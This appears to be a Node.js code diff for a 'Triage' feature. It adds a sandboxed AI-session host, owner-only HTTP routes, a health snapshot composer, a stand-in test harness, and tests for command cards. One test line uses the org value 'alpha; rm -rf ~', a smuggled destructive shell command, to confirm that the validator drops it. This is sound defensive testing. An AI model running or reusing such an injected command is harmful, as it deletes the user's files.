log(`triage relay: refused ${/^[a-z][a-z0-9._-]{0,63}$/.test(verb) ? verb : "a verb"}`);
return refuse(conn);
});
});
return new Promise((resolve, reject) => {
server.once("error", reject);
server.listen(socket, () => {
server.off("error", reject);
chmodSync(socket, 0o600);
resolve(server);
});
});
}
// createTriageHost({ dataRoot, route, readSnapshot, env, node, bwrap, now, devOwner, log })
// route { admit() -> { ok: true, adapter, harness, harnessEnv, harnessMounts, turnEnd, model,
// provider, env } | { ok: false, code, until? } } or null for no route
// readSnapshot async () -> the snapshot (triage-snapshot.mjs composeSnapshot), written to health/
// pollInterval the runner's receive interval in ms, for tests; the runner's default otherwise
export function createTriageHost({ dataRoot, route = null, readSnapshot = async () => null, env = process.env, node = process.execPath, bwrap = BWRAP, now = () => new Date(), devOwner = false, log = () => {}, roleDir = join(REPO, "roles"), readOnly = [], pollInterval = null }) {
if (typeof dataRoot !== "string" || !dataRoot.startsWith("/")) throw new TriageError("triage-no-data-root", "no data root");
const paths = triagePaths(dataRoot);
const role = JSON.parse(readFileSync(join(roleDir, "triage.json"), "utf8"));
const contract = readFileSync(join(roleDir, role.contract), "utf8");
let last = null; // the last snapshot written
let lastAt = null; // when it was written, in ms
let child = null;
let relay = null;
let starting = null;
let lastExit = null;
let cap = null;
let overCapUntil = null; // the route's over-cap answer, held until its time passes
const queue = [];
const ensureDirs = () => {
mkdirSync(dataRoot, { recursive: true, mode: 0o700 });
for (const d of [paths.root, paths.health, paths.agent, paths.host]) realDir(d);
};
const append = (entry) => {
ensureDirs();
const fd = openSync(paths.transcript, "a", 0o600);
try { appendFileSync(fd, JSON.stringify(entry) + "\n"); } finally { closeSync(fd); }
chmodSync(paths.transcript, 0o600);
};
const transcript = () => {
let text = "";
try {
const st = lstatSync(paths.transcript);
if (!st.isFile()) return [];
text = readFileSync(paths.transcript, "utf8");
} catch { return []; }
const out = [];
for (const line of text.split("\n")) {
if (!line) continue;
try { out.push(JSON.parse(line)); } catch {}
}
return out.slice(-TRANSCRIPT_KEEP);
};
const orgIds = () => new Set(Array.isArray(last?.organizations?.list) ? last.organizations.list.map((o) => o.id) : []);
// One refresh at a time: a read and a message that arrive together share it.
let refreshing = null;
const refresh = () => refreshing ??= (async () => {
ensureDirs();
let snap = null;
try { snap = await readSnapshot(); } catch { snap = null; }
if (snap && typeof snap === "object") {
writeSnapshot(paths.health, snap);
last = snap;
lastAt = now().getTime();
}
return last;
})().finally(() => { refreshing = null; });
const writeBundle = (admitted) => {
const a = paths.agent;
for (const d of ["bundle", "tmp", "work", "home"]) freshDir(join(a, d));
mkdirSync(join(a, "work", "health"), { mode: 0o700 });
// turns/ goes too: the runner numbers turns from 1 and opens each turn file exclusively, so a
// turns/ left by the last run stops the next one at its first turn.
for (const f of ["session.json", "relay.sock", "tools.sock", "turn.done", "turns"]) rmSync(join(a, f), { recursive: true, force: true });
// The session's history stays across starts, unless the session put something other than a
// real directory there.
try { realDir(join(a, "session")); } catch { freshDir(join(a, "session")); }
const resolved = { limits: { authority: role.authority, tools: role.tools }, definition: "triage", pluginTools: [] };
const tools = typedTools({ resolved }).filter((t) => t.name === "send_message");
const workspace = join(a, "work");
const policy = { harness: admitted.harness, workspace, tools: builtinTools(role.tools), typed: tools.map((t) => t.name), network: role.network, needs: [], credentials: [] };
const bundle = { prompt: join(a, "bundle", "prompt.md"), policy: join(a, "bundle", "policy.json"), tools: join(a, "bundle", "tools.json") };
const steps = ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"];
writeFileSync(bundle.prompt, hostPrompt(contract, { snapshotPath: join(workspace, "health", SNAPSHOT_FILE), steps }), { mode: 0o600, flag: "wx" });
writeFileSync(bundle.policy, JSON.stringify(policy, null, 2) + "\n", { mode: 0o600, flag: "wx" });
writeFileSync(bundle.tools, JSON.stringify(tools, null, 2) + "\n", { mode: 0o600, flag: "wx" });
const session = {
bundle, adapter: admitted.adapter, harness: admitted.harness, harnessEnv: admitted.harnessEnv, turnEnd: admitted.turnEnd,
workspace, sessionDir: join(a, "session"), toolSocket: join(a, "tools.sock"), turnMarker: join(a, "turn.done"),
brokerSocket: join(a, "relay.sock"), business: "system", instance: "triage", run: `triage-${now().toISOString().replace(/[^0-9]/g, "").slice(0, 14)}`,
model: admitted.model, provider: admitted.provider ?? "",
...(Number.isInteger(pollInterval) && pollInterval >= 100 ? { pollInterval } : {}),
};
writeFileSync(join(a, "session.json"), JSON.stringify(session, null, 2) + "\n", { mode: 0o600, flag: "wx" });
};
const checkAdmitted = (a) => {
if (!a || typeof a !== "object" || typeof a.adapter !== "string" || !a.adapter.startsWith("/")
|| !["marker", "exit"].includes(a.turnEnd) || typeof a.model !== "string" || !a.model
|| typeof a.harness !== "string" || !/^[a-z][a-z0-9-]{0,31}$/.test(a.harness)
|| !a.harnessEnv || typeof a.harnessEnv !== "object" || Array.isArray(a.harnessEnv)
|| Object.entries(a.harnessEnv).some(([k, v]) => typeof v !== "string" || deniedHarnessName(k))
|| !Array.isArray(a.harnessMounts ?? [])) throw new TriageError("triage-route-invalid", "the model route's answer is not usable");
};
const start = async (admitted) => {
checkAdmitted(admitted);
ensureDirs();
writeBundle(admitted);
cap = randomBytes(32).toString("hex");
relay = await createRelay({
socket: join(paths.agent, "relay.sock"), cap,
take: () => {
const out = queue.filter((m) => !m.delivered);
for (const m of out) m.delivered = true;
return out.map(({ id, body, at }) => ({ id, from_role: "human", class: "REQUEST", body, at }));
},
read: (id) => {
const i = queue.findIndex((m) => m.id === id);
if (i >= 0) queue.splice(i, 1);
},
// A reply that names a queued message answers it: the message leaves the queue here, so a
// session that ends before its message.read leaves no "unanswered" line under an answer.
onSend: ({ body, in_reply_to }) => {
const { text, cards, dropped } = extractCards(body, orgIds(), { devOwner: devOwner === true });
append({ at: now().toISOString(), from: "triage", text, cards, dropped, ...(in_reply_to ? { in_reply_to } : {}) });
const i = in_reply_to ? queue.findIndex((m) => m.id === in_reply_to) : -1;
if (i >= 0) queue.splice(i, 1);
},
log,
});
const list = hostedBinds({ runDir: paths.agent, healthDir: paths.health, adapter: admitted.adapter, harnessMounts: admitted.harnessMounts ?? [], relaySocket: join(paths.agent, "relay.sock"), node, readOnly });
const argv = hostedArgv(list, paths.agent, [node, RUNNER, paths.agent], { bwrap });
const out = openSync(paths.log, "a", 0o600);
try {
child = spawn(argv[0], argv.slice(1), { env: triageEnv(env, admitted.env, { node }), detached: true, stdio: ["pipe", out, out] });
} finally {
closeSync(out);
}
const mine = child;
const closeRelay = () => {
relay?.close();
relay = null;
rmSync(join(paths.agent, "relay.sock"), { force: true });
};
mine.on("error", () => {});
mine.stdin.on("error", () => {});
mine.stdin.end(JSON.stringify({ cap }) + "\n");
mine.on("exit", (code, signal) => {
if (child !== mine) return;
lastExit = { code: Number.isInteger(code) ? code : null, signal: signal ?? null, at: now().toISOString() };
child = null;
// Every message still queued leaves it, so none holds a slot with no session to answer it, and
// the transcript says which: one the session took and never answered, or one it never read.
for (const m of queue.splice(0)) {
try { append({ at: now().toISOString(), from: "host", in_reply_to: m.id, text: m.delivered ? UNANSWERED : NOT_TAKEN }); } catch { log("triage host: transcript write failed"); }
}
closeRelay();
});
// A launcher that cannot run (missing, not executable) fires "error" and never "exit": the start
// failed, so the caller writes NOT_STARTED and the host is not left reporting a session.
try {
await new Promise((resolve, reject) => { mine.once("spawn", resolve); mine.once("error", reject); });
} catch (e) {
if (child === mine) child = null;
closeRelay();
log(`triage host: launcher did not run: ${e.code ?? "error"}`);
throw new TriageError("triage-start-failed", "the Triage session did not start");
}
};
// The cap is the route's to count. Once it answers over the cap with a time in the next two days,
// the host refuses without asking again until that time, so a later answer cannot reopen the day.
const capUntil = () => {
if (overCapUntil !== null && Date.parse(overCapUntil) <= now().getTime()) overCapUntil = null;
return overCapUntil;
};
const admit = async () => {
if (!route || typeof route.admit !== "function") return { ok: false, code: "triage-no-route" };
const held = capUntil();
if (held !== null) return { ok: false, code: "triage-over-cap", until: held };
let a;
try { a = await route.admit(); } catch { return { ok: false, code: "triage-route-unreadable" }; }
if (a?.ok === true) return a;
const code = ["triage-no-route", "triage-over-cap"].includes(a?.code) ? a.code : "triage-route-refused";
if (code !== "triage-over-cap") return { ok: false, code };
const until = typeof a.until === "string" && ISO_TIME.test(a.until) ? Date.parse(a.until) : NaN;
const ahead = until - now().getTime();
if (!(ahead > 0 && ahead <= CAP_HOLD_MAX_MS)) return { ok: false, code };
overCapUntil = new Date(until).toISOString();
return { ok: false, code, until: overCapUntil };
};
return {
paths,
get running() { return child !== null; },
get pid() { return child?.pid ?? null; },
routeSet: () => Boolean(route && typeof route.admit === "function"),
async state() {
return {
route: this.routeSet() ? "set" : "not set",
overCapUntil: capUntil(),
running: child !== null,
lastExit,
snapshot: last,
transcript: transcript(),
};
},
refresh,
snapshotAt: () => lastAt,
// The owner's message: checked, admitted by the route, written to the transcript, queued, and
// the session started when it isn't running.
async message(raw) {
const text = plainText(typeof raw === "string" ? raw : "", MESSAGE_MAX + 1).trim();
if (!text) throw new TriageError("triage-message-empty", "the message is empty");
if (text.length > MESSAGE_MAX) throw new TriageError("triage-message-too-long", `a message holds at most ${MESSAGE_MAX} characters`);
if (queue.length >= QUEUE_MAX) throw new TriageError("triage-busy", "Triage has too many messages waiting");
const admitted = await admit();
if (!admitted.ok) throw Object.assign(new TriageError(admitted.code, admitted.code === "triage-over-cap" ? "Triage is over its daily cap" : admitted.code === "triage-no-route" ? "no model route is set for Triage" : "the model route refused"), admitted.until ? { until: admitted.until } : {});
await refresh();
const at = now().toISOString();
const id = `owner-${randomBytes(6).toString("hex")}`;
append({ at, from: "owner", id, text });
queue.push({ id, body: text, at, delivered: false });
if (!child) {
starting ??= start(admitted).finally(() => { starting = null; });
try { await starting; }
catch (e) {
const i = queue.findIndex((m) => m.id === id);
if (i >= 0) queue.splice(i, 1);
try { append({ at: now().toISOString(), from: "host", in_reply_to: id, text: NOT_STARTED }); } catch {}
relay?.close();
relay = null;
log(`triage host: start failed: ${e.code ?? "error"}`);
throw e instanceof TriageError ? e : new TriageError("triage-start-failed", "the Triage session did not start");
}
}
return { id, at };
},
async stop({ graceMs = 5000 } = {}) {
const c = child;
if (c) {
try { process.kill(-c.pid, "SIGTERM"); } catch {}
await new Promise((resolve) => {
const t = setTimeout(() => { try { process.kill(-c.pid, "SIGKILL"); } catch {} resolve(); }, graceMs);
c.once("exit", () => { clearTimeout(t); resolve(); });
});
}
relay?.close();
relay = null;
},
};
}
+105
View File
@@ -0,0 +1,105 @@
// #1873 triage-host: the two owner routes of the Triage session. serve.mjs sends a request here only
// for the instance owner's own session (rootOwner, signed in on the public name, no organization
// selected); everyone else falls through to the answer an unknown route gives. The read carries the
// transcript, the last health snapshot and the cards; the write carries one owner message and also
// needs --send and the same-origin checks the org admin routes use. No body, path, token or
// exception text reaches a response or a log line.
export const TRIAGE_PATHS = Object.freeze(["/api/triage", "/api/triage/message"]);
export const BODY_MAX = 16384;
// A read refreshes the snapshot when the one it holds is older than this.
export const SNAPSHOT_MAX_AGE_MS = 30000;
export const capMessage = until => `Triage is over its daily token cap. It takes messages again at ${until}.`;
export const NO_ROUTE_MESSAGE = "No model route is set for Triage, so Triage will not start. The instance owner sets the route first.";
const STATUS = Object.freeze({
"invalid-request": 400,
"triage-message-empty": 400,
"triage-message-too-long": 400,
"triage-no-route": 409,
"triage-route-refused": 409,
"triage-route-invalid": 409,
"triage-over-cap": 429,
"triage-busy": 429,
});
// Fixed words for each code; the host's own messages are fixed too, but the route never forwards text.
const MESSAGES = Object.freeze({
"invalid-request": "the request is not a Triage message",
"triage-message-empty": "the message is empty",
"triage-message-too-long": "the message is too long",
"triage-no-route": NO_ROUTE_MESSAGE,
"triage-route-refused": "the model route refused to start Triage",
"triage-route-invalid": "the model route's answer is not usable",
"triage-route-unreadable": "the model route could not be read",
"triage-over-cap": "Triage is over its daily token cap and starts again after the time shown",
"triage-busy": "Triage has too many messages waiting",
"triage-dir-unsafe": "a Triage directory is not safe to use",
"triage-start-failed": "the Triage session did not start",
"outcome-unknown": "Triage did not answer",
});
const json = (res, status, value) => {
res.writeHead(status, { "content-type": "application/json", "cache-control": "no-store" });
res.end(JSON.stringify(value));
};
const one = (req, name) => (req.headersDistinct[name]?.length === 1 ? req.headersDistinct[name][0] : null);
async function readBody(req) {
if ((req.headers["content-type"] ?? "").split(";")[0].trim().toLowerCase() !== "application/json") throw Error();
const chunks = [];
let size = 0;
for await (const chunk of req) {
size += chunk.length;
if (size > BODY_MAX) throw Error();
chunks.push(chunk);
}
const value = JSON.parse(Buffer.concat(chunks));
if (!value || typeof value !== "object" || Array.isArray(value)) throw Error();
if (Object.keys(value).some((k) => k !== "text") || typeof value.text !== "string") throw Error();
return value.text;
}
// The read's answer. `send` tells the drawer whether it may offer the message box.
export async function triageView(triage, { send, now = Date.now } = {}) {
const held = triage.snapshotAt?.() ?? null;
if (held === null || now() - held > SNAPSHOT_MAX_AGE_MS) await triage.refresh();
const s = await triage.state();
return {
route: s.route,
...(s.route === "set" ? {} : { routeMessage: NO_ROUTE_MESSAGE }),
overCapUntil: s.overCapUntil ?? null,
...(s.overCapUntil ? { capMessage: capMessage(s.overCapUntil) } : {}),
running: s.running,
lastExit: s.lastExit,
snapshot: s.snapshot,
transcript: s.transcript,
send: send === true,
};
}
export async function triageHTTP(req, res, { path, triage, send, origin, log = () => {} }) {
const done = (status, value) => {
// Method, path and status only.
log(`${new Date().toISOString()} ${req.method} ${path} ${status}`);
return json(res, status, value);
};
// `code` is always a key of MESSAGES.
const refuse = (code, extra = {}) => done(STATUS[code] ?? 503, { error: code, message: MESSAGES[code], ...extra });
if (path === "/api/triage") {
if (req.method !== "GET") return done(405, { error: "method not allowed" });
try { return done(200, await triageView(triage, { send })); }
catch { return refuse("outcome-unknown"); }
}
if (req.method !== "POST") return done(405, { error: "method not allowed" });
if (!send) return done(403, { error: "read-only" });
if (one(req, "origin") !== origin) return done(403, { error: "cross-origin request refused" });
if (one(req, "sec-fetch-site") !== "same-origin") return done(403, { error: "cross-site request refused" });
let text;
try { text = await readBody(req); } catch { return refuse("invalid-request"); }
try {
return done(202, await triage.message(text));
} catch (error) {
const code = typeof error?.code === "string" && Object.hasOwn(MESSAGES, error.code) ? error.code : "outcome-unknown";
return refuse(code, code === "triage-over-cap" && typeof error.until === "string" ? { until: error.until } : {});
}
}
+243
View File
@@ -0,0 +1,243 @@
// #1873 triage-host: the health snapshot the Console writes for the Triage session (design
// section 2). It is composed from reads that already exist, keeps only the fields on the fixed list
// below, and is written as one JSON file in <dataRoot>/triage/health/, which the session mounts
// read-only. States, times, counts and codes only: no token, key, host path, pid or upstream text.
// A read that fails, times out or answers outside its fixed shape says "not read", never a guess.
// Run records and logs are a later slice.
//
// The fixed field list (SNAPSHOT_FIELDS names the top level):
// snapshotVersion 1
// at when the Console composed it (ISO time)
// console { state: "answering", at } the Console wrote this, so it answered at `at`
// proxy { initialized, installed, active, healthy, fence } or "not read"
// systemConfig { valid, exit, code } or "not read"
// organizations { count, list: [ { id, bus, processing, config } ] } or "not read"
// bus { state: running | not-answering | stopped | dead, lastStart: { ok, at } | null } or "not read"
// processing { halted, invalid } or "not read"
// config { valid, exit, code } or "not read"
//
// The system config check runs scripts/mosaic-config.mjs validate in a child. Its stdout is the
// resolved config, so it is never read (stdio "ignore"), and loadSystem is not used. Its stderr
// names the config path and data-root facts, so only its first line's leading word is matched
// against SYSTEM_CONFIG_CODES; the text itself never leaves this module.
import { randomBytes } from "node:crypto";
import { spawn } from "node:child_process";
import { chmodSync, renameSync, rmSync, writeFileSync } from "node:fs";
import { join, resolve, dirname } from "node:path";
import { fileURLToPath } from "node:url";
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
const REPO = resolve(dirname(fileURLToPath(import.meta.url)), "..", "..", "..");
export const CONFIG_SCRIPT = join(REPO, "scripts", "mosaic-config.mjs");
export const ORG_CONFIG_SCRIPT = join(REPO, "packages", "organization", "src", "cli.mjs");
export const NOT_READ = "not read";
export const SNAPSHOT_VERSION = 1;
export const SNAPSHOT_FILE = "snapshot.json";
export const SNAPSHOT_FIELDS = Object.freeze(["snapshotVersion", "at", "console", "proxy", "systemConfig", "organizations"]);
export const BUS_STATES = Object.freeze(["running", "not-answering", "stopped", "dead"]);
const UNIT_ACTIVE = Object.freeze(["active", "inactive", "failed", "activating", "deactivating", "reloading", "unknown"]);
export const READ_TIMEOUT_MS = 5000;
export const MAX_ORGS = 200;
// At most this many organizations are read at once; each read can start a node child for its config check.
export const ORG_READS_AT_ONCE = 4;
// What a failed system config check may say. Each refusal code the validator prints as its first
// word passes as itself; a known sentence maps to a fixed code; anything else is the exit's general
// code. Nothing else of stderr is kept.
const PRINTED_CODES = Object.freeze([
"instance-config-mismatch", "instance-name-invalid", "instance-root-unclaimed", "instance-root-mismatch",
"proxy-rotate-grace-invalid", "proxy-first-output-invalid", "proxy-config-invalid",
]);
const SENTENCES = Object.freeze([
["configuration not found", "config-not-found"],
["configuration is not valid JSON", "config-not-json"],
["configuration path must be a regular", "config-not-regular-file"],
["configuration file is not readable", "config-unreadable"],
["configuration must be a JSON object", "config-not-object"],
["unsupported configVersion", "config-version-unsupported"],
["unsupported environment", "config-environment-unsupported"],
['execution "dataRoot"', "config-data-root-invalid"],
["unsupported execution.", "config-execution-unsupported"],
["unsupported ", "config-key-unsupported"],
]);
const EXIT_CODES = Object.freeze({ 1: "config-check-failed", 2: "config-invalid", 3: "config-missing-or-unclaimed", 4: "config-check-usage" });
export const SYSTEM_CONFIG_CODES = Object.freeze([...new Set([...PRINTED_CODES, ...SENTENCES.map(([, c]) => c), ...Object.values(EXIT_CODES), "config-check-failed"])]);
// The org config check (`mosaic org config validate ID`) is read by its exit code alone.
const ORG_EXIT_CODES = Object.freeze({ 2: "org-config-invalid", 3: "org-config-system-unreadable", 4: "org-config-check-usage" });
export const ORG_CONFIG_CODES = Object.freeze([...Object.values(ORG_EXIT_CODES), "org-config-check-failed"]);
// stderr's first line, already without its "mosaic-config: " prefix, to one fixed code.
export function systemConfigCode(exit, firstLine) {
if (exit === 0) return null;
const line = typeof firstLine === "string" ? firstLine.replace(/^mosaic-config: /, "") : "";
const word = line.match(/^([a-z][a-z0-9-]{2,63})(?::|$)/)?.[1];
if (word && PRINTED_CODES.includes(word)) return word;
for (const [start, code] of SENTENCES) if (line.startsWith(start)) return code;
return EXIT_CODES[exit] ?? "config-check-failed";
}
// A child run for its exit code. stdout is never opened. stderr is read only when `stderr` is
// true, at most 4 KiB, and only its first line is returned to the caller in this module.
export function runExitOnly(argv, { env, timeoutMs = READ_TIMEOUT_MS, stderr = false } = {}) {
return new Promise((done) => {
let child;
try {
child = spawn(argv[0], argv.slice(1), { env, stdio: ["ignore", "ignore", stderr ? "pipe" : "ignore"] });
} catch {
return done(null);
}
let err = "";
let settled = false;
const finish = (value) => {
if (settled) return;
settled = true;
clearTimeout(timer);
done(value);
};
const timer = setTimeout(() => {
try { child.kill("SIGKILL"); } catch {}
finish(null);
}, timeoutMs);
child.stderr?.on("data", (b) => {
if (err.length < 4096) err += b.toString("utf8").slice(0, 4096 - err.length);
});
child.on("error", () => finish(null));
child.on("close", (code, signal) => finish(signal || !Number.isInteger(code) ? null : { exit: code, firstLine: err.split("\n")[0] }));
});
}
// { valid, exit, code } from the validator, or "not read" when it did not run to an exit.
export async function readSystemConfig({ env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
const r = await run([node, CONFIG_SCRIPT, "validate"], { env, timeoutMs, stderr: true });
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
const code = systemConfigCode(r.exit, r.firstLine);
return { valid: r.exit === 0, exit: r.exit, code };
}
export async function readOrgConfig(id, { env = process.env, run = runExitOnly, node = process.execPath, timeoutMs = READ_TIMEOUT_MS } = {}) {
if (typeof id !== "string" || !ID_PATTERN.test(id)) return NOT_READ;
const r = await run([node, ORG_CONFIG_SCRIPT, "validate", id], { env, timeoutMs, stderr: false });
if (!r || !Number.isInteger(r.exit)) return NOT_READ;
return { valid: r.exit === 0, exit: r.exit, code: r.exit === 0 ? null : ORG_EXIT_CODES[r.exit] ?? "org-config-check-failed" };
}
const ISO = /^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d{1,9})?Z$/;
const isoOrNull = (v) => (typeof v === "string" && ISO.test(v) ? v : null);
const bool = (v) => (typeof v === "boolean" ? v : null);
// Each read under its own deadline; a throw, a timeout or a null is "not read".
async function bounded(fn, timeoutMs) {
let timer;
try {
const value = await Promise.race([
Promise.resolve().then(fn),
new Promise((resolve) => { timer = setTimeout(() => resolve(NOT_READ), timeoutMs); }),
]);
return value ?? NOT_READ;
} catch {
return NOT_READ;
} finally {
clearTimeout(timer);
}
}
// The fixed shapes. Anything outside them is "not read".
export function proxyFields(status) {
if (!status || typeof status !== "object") return NOT_READ;
const unit = status.unit && typeof status.unit === "object" ? status.unit : {};
const out = {
initialized: bool(status.init?.initialized),
installed: bool(unit.installed),
active: UNIT_ACTIVE.includes(unit.active) ? unit.active : "unknown",
healthy: bool(unit.healthy),
fence: bool(status.fence?.set),
};
return out.initialized === null && out.installed === null && out.healthy === null ? NOT_READ : out;
}
// busStatus (packages/cli/src/org-bus.mjs) answers healthy and pid; a refusal from its state check
// (a host it cannot account for, a CliError) is a dead host, as the Console's bus revive reads it.
export function busFields(status, refusedDead = false) {
if (refusedDead) return { state: "dead", lastStart: null };
if (!status || typeof status !== "object" || typeof status.healthy !== "boolean") return NOT_READ;
const state = status.healthy ? "running" : Number.isSafeInteger(status.pid) ? "not-answering" : "stopped";
const boot = status.boot && typeof status.boot === "object" && typeof status.boot.ok === "boolean" && isoOrNull(status.boot.at)
? { ok: status.boot.ok, at: status.boot.at } : null;
return { state, lastStart: boot };
}
export function processingFields(p) {
if (!p || typeof p !== "object" || typeof p.halted !== "boolean") return NOT_READ;
return { halted: p.halted, invalid: p.invalid === true };
}
function configFields(c, codes) {
if (!c || typeof c !== "object" || typeof c.valid !== "boolean" || !Number.isInteger(c.exit)) return NOT_READ;
return { valid: c.valid, exit: c.exit, code: c.code === null || codes.includes(c.code) ? c.code : null };
}
// readers: { orgs() -> [{ id, state }], busStatus(id) -> status (a CliError, or a throw with
// `dead: true`, is a dead host), processing(id), orgConfig(id), proxy(), systemConfig() }. Each may be missing.
// fn over items, at most `limit` running at once; the results keep the items' order.
async function mapLimit(items, limit, fn) {
const out = new Array(items.length);
let next = 0;
const worker = async () => { while (next < items.length) { const i = next++; out[i] = await fn(items[i]); } };
await Promise.all(Array.from({ length: Math.min(limit, items.length) }, worker));
return out;
}
// The organization stage runs under one deadline, `timeoutMs` from its start, however many
// organizations there are: an organization whose reads have not finished by then is "not read", and
// one not yet begun is not read at all. A whole snapshot takes at most about two timeouts.
export async function composeSnapshot(readers = {}, { now = () => new Date(), timeoutMs = READ_TIMEOUT_MS, clock = Date.now } = {}) {
const at = now().toISOString();
const read = (name, ...args) => (typeof readers[name] === "function" ? bounded(() => readers[name](...args), timeoutMs) : Promise.resolve(NOT_READ));
const [proxyRaw, systemRaw, orgsRaw] = await Promise.all([read("proxy"), read("systemConfig"), read("orgs")]);
let organizations = NOT_READ;
if (Array.isArray(orgsRaw)) {
const active = orgsRaw.filter((o) => o && typeof o === "object" && o.state === "active" && typeof o.id === "string" && ID_PATTERN.test(o.id)).slice(0, MAX_ORGS);
const deadline = clock() + timeoutMs;
const list = await mapLimit(active, ORG_READS_AT_ONCE, async ({ id }) => {
const left = deadline - clock();
if (left <= 0) return { id, bus: NOT_READ, processing: NOT_READ, config: NOT_READ };
const readOrg = (name) => (typeof readers[name] === "function" ? bounded(() => readers[name](id), left) : NOT_READ);
const [bus, processing, config] = await Promise.all([
typeof readers.busStatus === "function"
? bounded(async () => {
try { return busFields(await readers.busStatus(id)); }
catch (e) { return e?.name === "CliError" || e?.dead === true ? busFields(null, true) : NOT_READ; }
}, left)
: NOT_READ,
readOrg("processing"),
readOrg("orgConfig"),
]);
return { id, bus: bus === NOT_READ ? NOT_READ : bus, processing: processingFields(processing), config: configFields(config, ORG_CONFIG_CODES) };
});
organizations = { count: list.length, list };
}
return {
snapshotVersion: SNAPSHOT_VERSION,
at,
console: { state: "answering", at },
proxy: proxyFields(proxyRaw),
systemConfig: configFields(systemRaw, SYSTEM_CONFIG_CODES),
organizations,
};
}
// One file, replaced whole: written beside itself at 0600, then renamed over the last one.
export function writeSnapshot(healthDir, snapshot) {
const file = join(healthDir, SNAPSHOT_FILE);
const temp = join(healthDir, `.${SNAPSHOT_FILE}.${process.pid}.${randomBytes(6).toString("hex")}.tmp`);
try {
writeFileSync(temp, JSON.stringify(snapshot, null, 2) + "\n", { mode: 0o600 });
chmodSync(temp, 0o600);
renameSync(temp, file);
} finally {
rmSync(temp, { force: true });
}
return file;
}
+66
View File
@@ -0,0 +1,66 @@
// A stand-in harness turn for the Triage host tests (#1873). It imports nothing from the repository,
// so it runs with only the binds the host gives it. The message body picks the behaviour:
// PROBE answer JSON: the environment's variable names (never values), which of the paths in
// $TRIAGE_PROBE (a JSON array) are visible, the snapshot's version, and whether the
// health directory and the bundle refuse a write
// CARDS answer a reply with a cards fence: one valid card, one unknown step
// TOOL <to> call send_message to <to> through the tool socket and answer the raw reply
// SLEEP hang until killed
// REPLY-SLEEP send the person an answer to this message through the tool socket, then hang until killed
// anything else answer "echo: <body>"
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { connect } from "node:net";
import { join } from "node:path";
const request = process.env.MOSAIC_REQUEST ?? "";
const body = request.match(/^Message [^\n]*:\n\n([\s\S]*)$/m)?.[1] ?? "";
const workspace = process.env.MOSAIC_WORKSPACE;
const tryWrite = (path) => {
try {
writeFileSync(path, "x");
return "written";
} catch (e) {
return e.code ?? "refused";
}
};
function toolCall(tool, args) {
return new Promise((resolve) => {
const socket = connect(process.env.MOSAIC_TOOL_SOCKET);
let input = "";
socket.on("connect", () => socket.write(JSON.stringify({ tool, args }) + "\n"));
socket.on("data", (b) => {
input += b;
if (input.includes("\n")) { socket.destroy(); resolve(input.trim()); }
});
socket.on("error", (e) => resolve(`socket ${e.code}`));
});
}
if (body === "PROBE") {
let paths = [];
try { paths = JSON.parse(process.env.TRIAGE_PROBE ?? "[]"); } catch {}
let snapshot = null;
try { snapshot = JSON.parse(readFileSync(join(workspace, "health", "snapshot.json"), "utf8")).snapshotVersion; } catch {}
process.stdout.write(JSON.stringify({
env: Object.keys(process.env).sort(),
seen: Object.fromEntries(paths.map((p) => [p, existsSync(p)])),
snapshot,
writeHealth: tryWrite(join(workspace, "health", "planted.json")),
writeBundle: tryWrite(join(process.env.MOSAIC_POLICY_FILE, "..", "planted.json")),
writeWork: tryWrite(join(workspace, "note.txt")),
}));
} else if (body === "CARDS") {
process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n');
} else if (body.startsWith("TOOL ")) {
process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" }));
} else if (body === "REPLY-SLEEP") {
const id = request.match(/^Message (\S+) from /m)?.[1];
await toolCall("send_message", { to: "human", body: "answered early", class: "INFO", in_reply_to: id });
setInterval(() => {}, 1000);
} else if (body === "SLEEP") {
setInterval(() => {}, 1000);
} else {
process.stdout.write(`echo: ${body}`);
}
@@ -0,0 +1,81 @@
// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a
// registered org, renders the command itself, and drops everything else.
import { test } from "node:test";
import assert from "node:assert/strict";
import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs";
const orgs = new Set(["alpha", "beta"]);
const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```";
test("each known step renders its fixed command for a registered org", () => {
assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]);
assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" });
assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta");
assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta");
assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta");
assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha");
});
test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => {
const orgs = new Set(["alpha"]);
const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```';
assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on");
});
test("a card with an unknown step, an unknown org or an extra field is dropped", () => {
assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null);
